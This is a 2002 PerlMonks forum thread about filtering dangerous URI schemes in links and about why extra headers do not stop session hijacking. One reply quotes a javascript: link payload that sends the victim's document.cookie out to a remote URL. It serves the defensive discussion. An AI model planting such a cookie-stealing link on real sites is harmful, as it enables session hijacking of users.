Beefy Boxes and Bandwidth Generously Provided by pair Networks
Syntactic Confectionery Delight

Re: Re: Hacking "explained"

by zigdon (Deacon)
on Oct 22, 2002 at 13:07 UTC ( #207063=note: print w/replies, xml ) Need Help??

in reply to Re: Hacking "explained"
in thread Filtering potentially dangerous URI schemas in <a href="...">

While using other information might help, is there any reason an evil script won't be able to send your user agent, or any other information about your browser to it's author? So instead of just stealing your cookie, it'll report the user agent, and anything else required to fake a logged in session. The only thing that couldn't be faked is the IP address, but you can't do sessioning based on IPs, as often there isn't a one-to-one mapping between users and IPs.

That said, I think it's a bad idea to try to outsmart hackers - there's always going to be one smarter than you thought. Any reason why not to bad JS from the public forums?

-- Dan

Replies are listed 'Best First'.
Re^3: Hacking "explained"
by Aristotle (Chancellor) on Oct 22, 2002 at 13:22 UTC

    The idea is that it isn't known which headers are used as additional information. This is only security by obscurity of course, but it's slightly better than no extra measures at all.

    You did notice I said this point was completely orthogonal to banning JS, right? Obviously the script on the other side of <a href="javascript:open(''+document.cookie,'_self','',1)"> can record the entire HTTP request header anyway, so these issues have nothing to do with each other.

    Makeshifts last the longest.

Log In?

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://207063]
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others having an uproarious good time at the Monastery: (4)
As of 2022-10-05 09:40 GMT
Find Nodes?
    Voting Booth?
    My preferred way to holiday/vacation is:

    Results (22 votes). Check out past polls.